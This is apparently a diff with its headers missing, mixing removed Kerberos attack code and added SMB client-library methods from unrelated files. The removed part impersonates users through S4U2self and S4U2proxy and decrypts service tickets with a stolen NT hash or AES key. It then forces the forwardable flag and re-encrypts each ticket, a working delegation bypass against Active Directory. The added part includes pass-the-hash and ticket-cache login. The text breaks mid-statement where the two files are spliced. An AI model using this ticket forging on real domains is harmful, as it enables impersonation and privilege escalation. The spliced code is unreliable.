- creds = ccache.getCredential(principal.decode()) - TGS = creds.toTGS(principal) - - tgs = decoder.decode(TGS['KDC_REP'], asn1Spec=TGS_REP())[0] - - if logging.getLogger().level == logging.DEBUG: - logging.debug('TGS_REP') - print(tgs.prettyPrint()) - - if self.__force_forwardable: - # Convert hashes to binary form, just in case we're receiving strings - if isinstance(nthash, str): - try: - nthash = unhexlify(nthash) - except TypeError: - pass - if isinstance(aesKey, str): - try: - aesKey = unhexlify(aesKey) - except TypeError: - pass - - # Compute NTHash and AESKey if they're not provided in arguments - if self.__password != '' and self.__domain != '' and self.__user != '': - if not nthash: - nthash = compute_nthash(self.__password) - if logging.getLogger().level == logging.DEBUG: - logging.debug('NTHash') - print(hexlify(nthash).decode()) - if not aesKey: - salt = self.__domain.upper() + self.__user - aesKey = _AES256CTS.string_to_key(self.__password, salt, params=None).contents - if logging.getLogger().level == logging.DEBUG: - logging.debug('AESKey') - print(hexlify(aesKey).decode()) - - # Get the encrypted ticket returned in the TGS. It's encrypted with one of our keys - cipherText = tgs['ticket']['enc-part']['cipher'] - - # Check which cipher was used to encrypt the ticket. It's not always the same - # This determines which of our keys we should use for decryption/re-encryption - newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])] - if newCipher.enctype == Enctype.RC4: - key = Key(newCipher.enctype, nthash) - else: - key = Key(newCipher.enctype, aesKey) - - # Decrypt and decode the ticket - # Key Usage 2 - # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or - # application session key), encrypted with the service key - # (section 5.4.2) - plainText = newCipher.decrypt(key, 2, cipherText) - encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0] - - # Print the flags in the ticket before modification - logging.debug('\tService ticket from S4U2self flags: ' + str(encTicketPart['flags'])) - logging.debug('\tService ticket from S4U2self is' - + ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not') - + ' forwardable') - - # Customize flags the forwardable flag is the only one that really matters - logging.info('\tForcing the service ticket to be forwardable') - # convert to string of bits - flagBits = encTicketPart['flags'].asBinary() - # Set the forwardable flag. Awkward binary string insertion - flagBits = flagBits[:TicketFlags.forwardable.value] + '1' + flagBits[TicketFlags.forwardable.value + 1:] - # Overwrite the value with the new bits - encTicketPart['flags'] = encTicketPart['flags'].clone(value=flagBits) # Update flags - - logging.debug('\tService ticket flags after modification: ' + str(encTicketPart['flags'])) - logging.debug('\tService ticket now is' - + ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not') - + ' forwardable') - - # Re-encode and re-encrypt the ticket - # Again, Key Usage 2 - encodedEncTicketPart = encoder.encode(encTicketPart) - cipherText = newCipher.encrypt(key, 2, encodedEncTicketPart, None) - - # put it back in the TGS - tgs['ticket']['enc-part']['cipher'] = cipherText - - ################################################################################ - # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy - # So here I have a ST for me.. I now want a ST for another service - # Extract the ticket from the TGT - ticketTGT = Ticket() - ticketTGT.from_asn1(decodedTGT['ticket']) - - # Get the service ticket - ticket = Ticket() - ticket.from_asn1(tgs['ticket']) - - apReq = AP_REQ() - apReq['pvno'] = 5 - apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) - - opts = list() - apReq['ap-options'] = constants.encodeFlags(opts) - seq_set(apReq, 'ticket', ticketTGT.to_asn1) - - authenticator = Authenticator() - authenticator['authenticator-vno'] = 5 - authenticator['crealm'] = str(decodedTGT['crealm']) - - clientName = Principal() - clientName.from_asn1(decodedTGT, 'crealm', 'cname') - - seq_set(authenticator, 'cname', clientName.components_to_asn1) - - now = datetime.datetime.utcnow() - authenticator['cusec'] = now.microsecond - authenticator['ctime'] = KerberosTime.to_asn1(now) - - encodedAuthenticator = encoder.encode(authenticator) - - # Key Usage 7 - # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes - # TGS authenticator subkey), encrypted with the TGS session - # key (Section 5.5.1) - encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) - - apReq['authenticator'] = noValue - apReq['authenticator']['etype'] = cipher.enctype - apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator - - encodedApReq = encoder.encode(apReq) - - tgsReq = TGS_REQ() - - tgsReq['pvno'] = 5 - tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) - tgsReq['padata'] = noValue - tgsReq['padata'][0] = noValue - tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) - tgsReq['padata'][0]['padata-value'] = encodedApReq - - # Add resource-based constrained delegation support - paPacOptions = PA_PAC_OPTIONS() - paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,)) - - tgsReq['padata'][1] = noValue - tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value - tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions) + if preferredDialect == smb.SMB_DIALECT: + self._SMBConnection = smb.SMB(self._remoteName, self._remoteHost, self._myName, hostType, + self._sess_port, self._timeout) + elif preferredDialect in [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30, SMB2_DIALECT_311]: + self._SMBConnection = smb3.SMB3(self._remoteName, self._remoteHost, self._myName, hostType, + self._sess_port, self._timeout, preferredDialect=preferredDialect) + else: + raise Exception("Unknown dialect %s") + + # propagate flags to the smb sub-object, except for Unicode (if server supports) + # does not affect smb3 objects + if isinstance(self._SMBConnection, smb.SMB): + if self._SMBConnection.get_flags()[1] & smb.SMB.FLAGS2_UNICODE: + flags2 |= smb.SMB.FLAGS2_UNICODE + self._SMBConnection.set_flags(flags1=flags1, flags2=flags2) + + return True + + def negotiateSessionWildcard(self, myName, remoteName, remoteHost, sess_port, timeout, extended_security=True, flags1=0, + flags2=0, data=None): + # Here we follow [MS-SMB2] negotiation handshake trying to understand what dialects + # (including SMB1) is supported on the other end. + + if not myName: + myName = socket.gethostname() + i = myName.find('.') + if i > -1: + myName = myName[:i] + + tries = 0 + smbp = smb.NewSMBPacket() + smbp['Flags1'] = flags1 + # FLAGS2_UNICODE is required by some stacks to continue, regardless of subsequent support + smbp['Flags2'] = flags2 | smb.SMB.FLAGS2_UNICODE + resp = None + while tries < 2: + self._nmbSession = nmb.NetBIOSTCPSession(myName, remoteName, remoteHost, nmb.TYPE_SERVER, sess_port, + timeout) + + negSession = smb.SMBCommand(smb.SMB.SMB_COM_NEGOTIATE) + if extended_security is True: + smbp['Flags2'] |= smb.SMB.FLAGS2_EXTENDED_SECURITY + negSession['Data'] = data + smbp.addCommand(negSession) + self._nmbSession.send_packet(smbp.getData()) + + try: + resp = self._nmbSession.recv_packet(timeout) + break + except nmb.NetBIOSError: + # OSX Yosemite asks for more Flags. Let's give it a try and see what happens + smbp['Flags2'] |= smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | smb.SMB.FLAGS2_UNICODE + smbp['Data'] = [] + + tries += 1 + + if resp is None: + # No luck, quitting + raise Exception('No answer!') + + return resp.get_trailer() + - reqBody = seq_set(tgsReq, 'req-body') - - opts = list() - # This specified we're doing S4U - opts.append(constants.KDCOptions.cname_in_addl_tkt.value) - opts.append(constants.KDCOptions.canonicalize.value) - opts.append(constants.KDCOptions.forwardable.value) - opts.append(constants.KDCOptions.renewable.value) + def getNMBServer(self): + return self._nmbSession - reqBody['kdc-options'] = constants.encodeFlags(opts) - service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) - seq_set(reqBody, 'sname', service2.components_to_asn1) - reqBody['realm'] = self.__domain + def getSMBServer(self): + """ + returns the SMB/SMB3 instance being used. Useful for calling low level methods + """ + return self._SMBConnection - myTicket = ticket.to_asn1(TicketAsn1()) - seq_set_iter(reqBody, 'additional-tickets', (myTicket,)) + def getDialect(self): + return self._SMBConnection.getDialect() - now = datetime.datetime.utcnow() + datetime.timedelta(days=1) + def getServerName(self): + return self._SMBConnection.get_server_name() - reqBody['till'] = KerberosTime.to_asn1(now) - reqBody['nonce'] = random.getrandbits(31) - seq_set_iter(reqBody, 'etype', - ( - int(constants.EncryptionTypes.rc4_hmac.value), - int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), - int(constants.EncryptionTypes.des_cbc_md5.value), - int(cipher.enctype) - ) - ) - message = encoder.encode(tgsReq) + def getClientName(self): + return self._SMBConnection.get_client_name() - logging.info('\tRequesting S4U2Proxy') - r = sendReceive(message, self.__domain, kdcHost) + def getRemoteHost(self): + return self._SMBConnection.get_remote_host() - tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] + def getRemoteName(self): + return self._SMBConnection.get_remote_name() - cipherText = tgs['enc-part']['cipher'] + def setRemoteName(self, name): + return self._SMBConnection.set_remote_name(name) - # Key Usage 8 - # TGS-REP encrypted part (includes application session - # key), encrypted with the TGS session key (Section 5.4.2) - plainText = cipher.decrypt(sessionKey, 8, cipherText) + def getServerDomain(self): + return self._SMBConnection.get_server_domain() - encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] + def getServerDNSDomainName(self): + return self._SMBConnection.get_server_dns_domain_name() - newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) + def getServerDNSHostName(self): + return self._SMBConnection.get_server_dns_host_name() + + def getServerOS(self): + return self._SMBConnection.get_server_os() + + def getServerOSMajor(self): + return self._SMBConnection.get_server_os_major() + + def getServerOSMinor(self): + return self._SMBConnection.get_server_os_minor() + + def getServerOSBuild(self): + return self._SMBConnection.get_server_os_build() + + def doesSupportNTLMv2(self): + return self._SMBConnection.doesSupportNTLMv2() + + def isLoginRequired(self): + return self._SMBConnection.is_login_required() + + def isSigningRequired(self): + return self._SMBConnection.is_signing_required() + + def getCredentials(self): + return self._SMBConnection.getCredentials() + + def getIOCapabilities(self): + return self._SMBConnection.getIOCapabilities() + + def login(self, user, password, domain = '', lmhash = '', nthash = '', ntlmFallback = True): + """ + logins into the target system + + :param string user: username + :param string password: password for the user + :param string domain: domain where the account is valid for + :param string lmhash: LMHASH used to authenticate using hashes (password is not used) + :param string nthash: NTHASH used to authenticate using hashes (password is not used) + :param bool ntlmFallback: If True it will try NTLMv1 authentication if NTLMv2 fails. Only available for SMBv1 + + :return: None + :raise SessionError: if error + """ + self._ntlmFallback = ntlmFallback + try: + if self.getDialect() == smb.SMB_DIALECT: + return self._SMBConnection.login(user, password, domain, lmhash, nthash, ntlmFallback) + else: + return self._SMBConnection.login(user, password, domain, lmhash, nthash) + except (smb.SessionError, smb3.SessionError) as e: + raise SessionError(e.get_error_code(), e.get_error_packet()) + + def kerberosLogin(self, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None, + TGS=None, useCache=True): + """ + logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. + + :param string user: username + :param string password: password for the user + :param string domain: domain where the account is valid for (required) + :param string lmhash: LMHASH used to authenticate using hashes (password is not used) + :param string nthash: NTHASH used to authenticate using hashes (password is not used) + :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication + :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) + :param struct TGT: If there's a TGT available, send the structure here and it will be used + :param struct TGS: same for TGS. See smb3.py for the format + :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False + + :return: None + :raise SessionError: if error + """ + import os + from impacket.krb5.ccache import CCache + from impacket.krb5.kerberosv5 import KerberosError + from impacket.krb5 import constants + + self._kdcHost = kdcHost + self._useCache = useCache + + if TGT is not None or TGS is not None: + useCache = False + + if useCache is True: + try: + ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) + except: + # No cache present + pass + else: + LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) + # retrieve domain information from CCache file if needed + if domain == '': + domain = ccache.principal.realm['data'].decode('utf-8') + LOG.debug('Domain retrieved from CCache: %s' % domain) + + principal = 'cifs/%s@%s' % (self.getRemoteName().upper(), domain.upper()) + creds = ccache.getCredential(principal) + if creds is None: + # Let's try for the TGT and go from there + principal = 'krbtgt/%s@%s' % (domain.upper(),domain.upper()) + creds = ccache.getCredential(principal) + if creds is not None: + TGT = creds.toTGT() + LOG.debug('Using TGT from cache') + else: + LOG.debug("No valid credentials found in cache. ") + else: + TGS = creds.toTGS(principal) + LOG.debug('Using TGS from cache') + + # retrieve user information from CCache file if needed + if user == '' and creds is not None: + user = creds['client'].prettyPrint().split(b'@')[0].decode('utf-8') + LOG.debug('Username retrieved from CCache: %s' % user) + elif user == '' and len(ccache.principal.components) > 0: + user = ccache.principal.components[0]['data'].decode('utf-8') + LOG.debug('Username retrieved from CCache: %s' % user) + + while True: + try: + if self.getDialect() == smb.SMB_DIALECT: + return self._SMBConnection.kerberos_login(user, password, domain, lmhash, nthash, aesKey, kdcHost, + TGT, TGS) + return self._SMBConnection.kerberosLogin(user, password, domain, lmhash, nthash, aesKey, kdcHost, TGT, + TGS) + except (smb.SessionError, smb3.SessionError) as e: + raise SessionError(e.get_error_code(), e.get_error_packet()) + except KerberosError as e: + if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: + # We might face this if the target does not support AES + # So, if that's the case we'll force using RC4 by converting + # the password to lm/nt hashes and hope for the best. If that's already + # done, byebye. + if lmhash == '' and nthash == '' and (aesKey == '' or aesKey is None) and TGT is None and TGS is None: + lmhash = compute_lmhash(password) + nthash = compute_nthash(password) + else: + raise e + else: + raise e - # Creating new cipher based on received keytype - cipher = _enctype_table[encTGSRepPart['key']['keytype']] + def isGuestSession(self): + try: + return self._SMBConnection.isGuestSession() + except (smb.SessionError, smb3.SessionError) as e: + raise SessionError(e.get_error_code(), e.get_error_packet()) - return r, cipher, sessionKey, newSessionKey + def logoff(self): + try: + return self._SMBConnection.logoff() + except (smb.SessionError, smb3.SessionError) as e: + raise SessionError(e.get_error_code(), e.get_error_packet()) + + + def connectTree(self,share): + if self.getDialect() == smb.SMB_DIALECT: + # If we already have a UNC we do nothing. + if ntpath.ismount(share) is False: + # Else we build it + share = ntpath.basename(share) + share = '\\\\' + self.getRemoteHost() + '\\' + share + try: + return self._SMBConnection.connect_tree(share) + except (smb.SessionError, smb3.SessionError) as e: + raise SessionError(e.get_error_code(), e.get_error_packet()) - def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, s4u2self=False, alt_service=None): - decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] - # Extract the ticket from the TGT - ticket = Ticket() - ticket.from_asn1(decodedTGT['ticket']) - apReq = AP_REQ() - apReq['pvno'] = 5 - apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + def disconnectTree(self, treeId): + try: + return self._SMBConnection.disconnect_tree(treeId) + except (smb.SessionError, smb3.SessionError) as e: + raise SessionError(e.get_error_code(), e.get_error_packet()) + + + def listShares(self): + """ + get a list of available shares at the connected target + + :return: a list containing dict entries for each share + :raise SessionError: if error + """ + # Get the shares through RPC + from impacket.dcerpc.v5 import transport, srvs + rpctransport = transport.SMBTransport(self.getRemoteName(), self.getRemoteHost(), filename=r'\srvsvc', + smb_connection=self) + dce = rpctransport.get_dce_rpc() + dce.connect() + dce.bind(srvs.MSRPC_UUID_SRVS) + resp = srvs.hNetrShareEnum(dce, 1) + return resp['InfoStruct']['ShareInfo']['Level1']['Buffer'] + + def listPath(self, shareName, path, password = None): + """ + list the files/directories under shareName/path + + :param string shareName: a valid name for the share where the files/directories are going to be searched + :param string path: a base path relative to shareName + :param string password: the password for the share + + :return: a list containing smb.SharedFile items + :raise SessionError: if error + """ - opts = list() - apReq['ap-options'] = constants.encodeFlags(opts) - seq_set(apReq, 'ticket', ticket.to_asn1) + try: + return self._SMBConnection.list_path(shareName, path, password) + except (smb.SessionError, smb3.SessionError) as e: + raise SessionError(e.get_error_code(), e.get_error_packet()) + + def createFile(self, treeId, pathName, desiredAccess=GENERIC_ALL, + shareMode=FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, + creationOption=FILE_NON_DIRECTORY_FILE, creationDisposition=FILE_OVERWRITE_IF, + fileAttributes=FILE_ATTRIBUTE_NORMAL, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, + oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None): + """ + Creates a remote file + + :param HANDLE treeId: a valid handle for the share where the file is to be created + :param string pathName: the path name of the file to create + :param int desiredAccess: The level of access that is required, as specified in https://msdn.microsoft.com/en-us/library/cc246503.aspx + :param int shareMode: Specifies the sharing mode for the open. + :param int creationOption: Specifies the options to be applied when creating or opening the file. + :param int creationDisposition: Defines the action the server MUST take if the file that is specified in the name + field already exists. + :param int fileAttributes: This field MUST be a combination of the values specified in [MS-FSCC] section 2.6, and MUST NOT include any values other than those specified in that section. + :param int impersonationLevel: This field specifies the impersonation level requested by the application that is issuing the create request. + :param int securityFlags: This field MUST NOT be used and MUST be reserved. The client MUST set this to 0, and the server MUST ignore it. + :param int oplockLevel: The requested oplock level + :param createContexts: A variable-length attribute that is sent with an SMB2 CREATE Request or SMB2 CREATE Response that either gives extra information about how the create will be processed, or returns extra information about how the create was processed. + + :return: a valid file descriptor + :raise SessionError: if error + """ + if self.getDialect() == smb.SMB_DIALECT: + _, flags2 = self._SMBConnection.get_flags() + + pathName = pathName.replace('/', '\\') + packetPathName = pathName.encode('utf-16le') if flags2 & smb.SMB.FLAGS2_UNICODE else pathName + + ntCreate = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX) + ntCreate['Parameters'] = smb.SMBNtCreateAndX_Parameters() + ntCreate['Data'] = smb.SMBNtCreateAndX_Data(flags=flags2) + ntCreate['Parameters']['FileNameLength']= len(packetPathName) + ntCreate['Parameters']['AccessMask'] = desiredAccess + ntCreate['Parameters']['FileAttributes']= fileAttributes + ntCreate['Parameters']['ShareAccess'] = shareMode + ntCreate['Parameters']['Disposition'] = creationDisposition + ntCreate['Parameters']['CreateOptions'] = creationOption + ntCreate['Parameters']['Impersonation'] = impersonationLevel + ntCreate['Parameters']['SecurityFlags'] = securityFlags + ntCreate['Parameters']['CreateFlags'] = 0x16 + ntCreate['Data']['FileName'] = packetPathName + + if flags2 & smb.SMB.FLAGS2_UNICODE: + ntCreate['Data']['Pad'] = 0x0 + + if createContexts is not None: + LOG.error("CreateContexts not supported in SMB1") - authenticator = Authenticator() - authenticator['authenticator-vno'] = 5 - authenticator['crealm'] = str(decodedTGT['crealm']) + try: + return self._SMBConnection.nt_create_andx(treeId, pathName, cmd = ntCreate) + except (smb.SessionError, smb3.SessionError) as e: + raise SessionError(e.get_error_code(), e.get_error_packet()) + else: + try: + return self._SMBConnection.create(treeId, pathName, desiredAccess, shareMode, creationOption, + creationDisposition, fileAttributes, impersonationLevel, + securityFlags, oplockLevel, createContexts) + except (smb.SessionError, smb3.SessionError) as e: + raise SessionError(e.get_error_code(), e.get_error_packet()) + + def openFile(self, treeId, pathName, desiredAccess=FILE_READ_DATA | FILE_WRITE_DATA, shareMode=FILE_SHARE_READ, + creationOption=FILE_NON_DIRECTORY_FILE, creationDisposition=FILE_OPEN, + fileAttributes=FILE_ATTRIBUTE_NORMAL, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, + oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None): + """ + opens a remote file + + :param HANDLE treeId: a valid handle for the share where the file is to be opened + :param string pathName: the path name to open + :param int desiredAccess: The level of access that is required, as specified in https://msdn.microsoft.com/en-us/library/cc246503.aspx + :param int shareMode: Specifies the sharing mode for the open. + :param int creationOption: Specifies the options to be applied when creating or opening the file. + :param int creationDisposition: Defines the action the server MUST take if the file that is specified in the name + field already exists. + :param int fileAttributes: This field MUST be a combination of the values specified in [MS-FSCC] section 2.6, and MUST NOT include any values other than those specified in that section. + :param int impersonationLevel: This field specifies the impersonation level requested by the application that is issuing the create request. + :param int securityFlags: This field MUST NOT be used and MUST be reserved. The client MUST set this to 0, and the server MUST ignore it. + :param int oplockLevel: The requested oplock level + :param createContexts: A variable-length attribute that is sent with an SMB2 CREATE Request or SMB2 CREATE Response that either gives extra information about how the create will be processed, or returns extra information about how the create was processed. + + :return: a valid file descriptor + :raise SessionError: if error + """ + + if self.getDialect() == smb.SMB_DIALECT: + _, flags2 = self._SMBConnection.get_flags() + + pathName = pathName.replace('/', '\\') + packetPathName = pathName.encode('utf-16le') if flags2 & smb.SMB.FLAGS2_UNICODE else pathName + + ntCreate = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX) + ntCreate['Parameters'] = smb.SMBNtCreateAndX_Parameters() + ntCreate['Data'] = smb.SMBNtCreateAndX_Data(flags=flags2) + ntCreate['Parameters']['FileNameLength']= len(packetPathName) + ntCreate['Parameters']['AccessMask'] = desiredAccess + ntCreate['Parameters']['FileAttributes']= fileAttributes + ntCreate['Parameters']['ShareAccess'] = shareMode + ntCreate['Parameters']['Disposition'] = creationDisposition + ntCreate['Parameters']['CreateOptions'] = creationOption + ntCreate['Parameters']['Impersonation'] = impersonationLevel + ntCreate['Parameters']['SecurityFlags'] = securityFlags + ntCreate['Parameters']['CreateFlags'] = 0x16 + ntCreate['Data']['FileName'] = packetPathName + + if flags2 & smb.SMB.FLAGS2_UNICODE: + ntCreate['Data']['Pad'] = 0x0 + + if createContexts is not None: + LOG.error("CreateContexts not supported in SMB1") - clientName = Principal() - clientName.from_asn1(decodedTGT, 'crealm', 'cname') + try: + return self._SMBConnection.nt_create_andx(treeId, pathName, cmd = ntCreate) + except (smb.SessionError, smb3.SessionError) as e: + raise SessionError(e.get_error_code(), e.get_error_packet()) + else: + try: + return self._SMBConnection.create(treeId, pathName, desiredAccess, shareMode, creationOption, + creationDisposition, fileAttributes, impersonationLevel, + securityFlags, oplockLevel, createContexts) + except (smb.SessionError, smb3.SessionError) as e: + raise SessionError(e.get_error_code(), e.get_error_packet()) + + def writeFile(self, treeId, fileId, data, offset=0): + """ + writes data to a file + + :param HANDLE treeId: a valid handle for the share where the file is to be written + :param HANDLE fileId: a valid handle for the file + :param string data: buffer with the data to write + :param integer offset: offset where to start writing the data + + :return: amount of bytes written + :raise SessionError: if error + """ + try: + return self._SMBConnection.writeFile(treeId, fileId, data, offset) + except (smb.SessionError, smb3.SessionError) as e: + raise SessionError(e.get_error_code(), e.get_error_packet()) + + def readFile(self, treeId, fileId, offset = 0, bytesToRead = None, singleCall = True): + """ + reads data from a file + + :param HANDLE treeId: a valid handle for the share where the file is to be read + :param HANDLE fileId: a valid handle for the file to be read + :param integer offset: offset where to start reading the data + :param integer bytesToRead: amount of bytes to attempt reading. If None, it will attempt to read Dialect['MaxBufferSize'] bytes. + :param boolean singleCall: If True it won't attempt to read all bytesToRead. It will only make a single read call + + :return: the data read. Length of data read is not always bytesToRead + :raise SessionError: if error + """ + finished = False + data = b'' + maxReadSize = self._SMBConnection.getIOCapabilities()['MaxReadSize'] + if bytesToRead is None: + bytesToRead = maxReadSize + remainingBytesToRead = bytesToRead + while not finished: + if remainingBytesToRead > maxReadSize: + toRead = maxReadSize + else: + toRead = remainingBytesToRead + try: + bytesRead = self._SMBConnection.read_andx(treeId, fileId, offset, toRead) + except (smb.SessionError, smb3.SessionError) as e: + if e.get_error_code() == nt_errors.STATUS_END_OF_FILE: + toRead = b'' + break + else: + raise SessionError(e.get_error_code(), e.get_error_packet()) + + data += bytesRead + if len(data) >= bytesToRead: + finished = True + elif len(bytesRead) == 0: + # End of the file achieved. + finished = True + elif singleCall is True: + finished = True + else: + offset += len(bytesRead) + remainingBytesToRead -= len(bytesRead) - seq_set(authenticator, 'cname', clientName.components_to_asn1) + return data - now = datetime.datetime.utcnow() - authenticator['cusec'] = now.microsecond - authenticator['ctime'] = KerberosTime.to_asn1(now) + def closeFile(self, treeId, fileId): + """ + closes a file handle - if logging.getLogger().level == logging.DEBUG: - logging.debug('AUTHENTICATOR') - print(authenticator.prettyPrint()) - print('\n') + :param HANDLE treeId: a valid handle for the share where the file is to be opened + :param HANDLE fileId: a valid handle for the file/directory to be closed - encodedAuthenticator = encoder.encode(authenticator) + :return: None + :raise SessionError: if error + """ + try: + return self._SMBConnection.close(treeId, fileId) + except (smb.SessionError, smb3.SessionError) as e: + raise SessionError(e.get_error_code(), e.get_error_packet()) - # Key Usage 7 - # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes - # TGS authenticator subkey), encrypted with the TGS session - # key (Section 5.5.1) - encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) + def deleteFile(self, shareName, pathName): + """ + removes a file - apReq['authenticator'] = noValue - apReq['authenticator']['etype'] = cipher.enctype - apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + :param string shareName: a valid name for the share where the file is to be deleted + :param string pathName: the path name to remove - encodedApReq = encoder.encode(apReq) + :return: None + :raise SessionError: if error + """ + try: + return self._SMBConnection.remove(shareName, pathName) + except (smb.SessionError, smb3.SessionError) as e: + raise SessionError(e.get_error_code(), e.get_error_packet()) - tgsReq = TGS_REQ() + def queryInfo(self, treeId, fileId): + """ + queries basic information about an opened file/directory - tgsReq['pvno'] = 5 - tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) - - tgsReq['padata'] = noValue - tgsReq['padata'][0] = noValue - tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) - tgsReq['padata'][0]['padata-value'] = encodedApReq - - # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service - # requests a service ticket to itself on behalf of a user. The user is - # identified to the KDC by the user's name and realm. - clientName = Principal(self.__options.impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value) - - S4UByteArray = struct.pack('= 52: + # now send an appropriate sized buffer + try: + snapshotData = SRV_SNAPSHOT_ARRAY(self._SMBConnection.ioctl(tid, fid, FSCTL_SRV_ENUMERATE_SNAPSHOTS, + flags=SMB2_0_IOCTL_IS_FSCTL, maxOutputResponse=snapshotData['SnapShotArraySize']+12)) + except (smb.SessionError, smb3.SessionError) as e: + self.closeFile(tid, fid) + raise SessionError(e.get_error_code(), e.get_error_packet()) + + self.closeFile(tid, fid) + return list(filter(None, snapshotData['SnapShots'].decode('utf16').split('\x00'))) + + def createMountPoint(self, tid, path, target): + """ + creates a mount point at an existing directory + + :param int tid: tree id of current connection + :param string path: directory at which to create mount point (must already exist) + :param string target: target address of mount point + + :raise SessionError: if error + """ + + # Verify we're under SMB2+ session + if self.getDialect() not in [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30]: + raise SessionError(error = nt_errors.STATUS_NOT_SUPPORTED) + + fid = self.openFile(tid, path, GENERIC_READ | GENERIC_WRITE, + creationOption=FILE_OPEN_REPARSE_POINT) + + if target.startswith("\\"): + fixed_name = target.encode('utf-16le') + else: + fixed_name = ("\\??\\" + target).encode('utf-16le') + + name = target.encode('utf-16le') + + reparseData = MOUNT_POINT_REPARSE_DATA_STRUCTURE() + + reparseData['PathBuffer'] = fixed_name + b"\x00\x00" + name + b"\x00\x00" + reparseData['SubstituteNameLength'] = len(fixed_name) + reparseData['PrintNameOffset'] = len(fixed_name) + 2 + reparseData['PrintNameLength'] = len(name) + + self._SMBConnection.ioctl(tid, fid, FSCTL_SET_REPARSE_POINT, flags=SMB2_0_IOCTL_IS_FSCTL, + inputBlob=reparseData) + + self.closeFile(tid, fid) + + def removeMountPoint(self, tid, path): + """ + removes a mount point without deleting the underlying directory + + :param int tid: tree id of current connection + :param string path: path to mount point to remove + + :raise SessionError: if error + """ + + # Verify we're under SMB2+ session + if self.getDialect() not in [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30]: + raise SessionError(error = nt_errors.STATUS_NOT_SUPPORTED) + + fid = self.openFile(tid, path, GENERIC_READ | GENERIC_WRITE, + creationOption=FILE_OPEN_REPARSE_POINT) + + reparseData = MOUNT_POINT_REPARSE_GUID_DATA_STRUCTURE() + + reparseData['DataBuffer'] = b"" + + try: + self._SMBConnection.ioctl(tid, fid, FSCTL_DELETE_REPARSE_POINT, flags=SMB2_0_IOCTL_IS_FSCTL, + inputBlob=reparseData) + except (smb.SessionError, smb3.SessionError) as e: + self.closeFile(tid, fid) + raise SessionError(e.get_error_code(), e.get_error_packet()) + + self.closeFile(tid, fid) + + def rename(self, shareName, oldPath, newPath): + """ + renames a file/directory + + :param string shareName: name for the share where the files/directories are + :param string oldPath: the old path name or the directory/file to rename + :param string newPath: the new path name or the directory/file to rename + + :return: True + :raise SessionError: if error + """ + + try: + return self._SMBConnection.rename(shareName, oldPath, newPath) + except (smb.SessionError, smb3.SessionError) as e: + raise SessionError(e.get_error_code(), e.get_error_packet()) + + def reconnect(self): + """ + reconnects the SMB object based on the original options and credentials used. Only exception is that + manualNegotiate will not be honored. + Not only the connection will be created but also a login attempt using the original credentials and + method (Kerberos, PtH, etc) + + :return: True + :raise SessionError: if error + """ + userName, password, domain, lmhash, nthash, aesKey, TGT, TGS = self.getCredentials() + self.negotiateSession(self._preferredDialect) + if self._doKerberos is True: + self.kerberosLogin(userName, password, domain, lmhash, nthash, aesKey, self._kdcHost, TGT, TGS, self._useCache) + else: + self.login(userName, password, domain, lmhash, nthash, self._ntlmFallback) + + return True + + def setTimeout(self, timeout): + try: + return self._SMBConnection.set_timeout(timeout) + except (smb.SessionError, smb3.SessionError) as e: + raise SessionError(e.get_error_code(), e.get_error_packet()) + + def getSessionKey(self): + if self.getDialect() == smb.SMB_DIALECT: + return self._SMBConnection.get_session_key() + 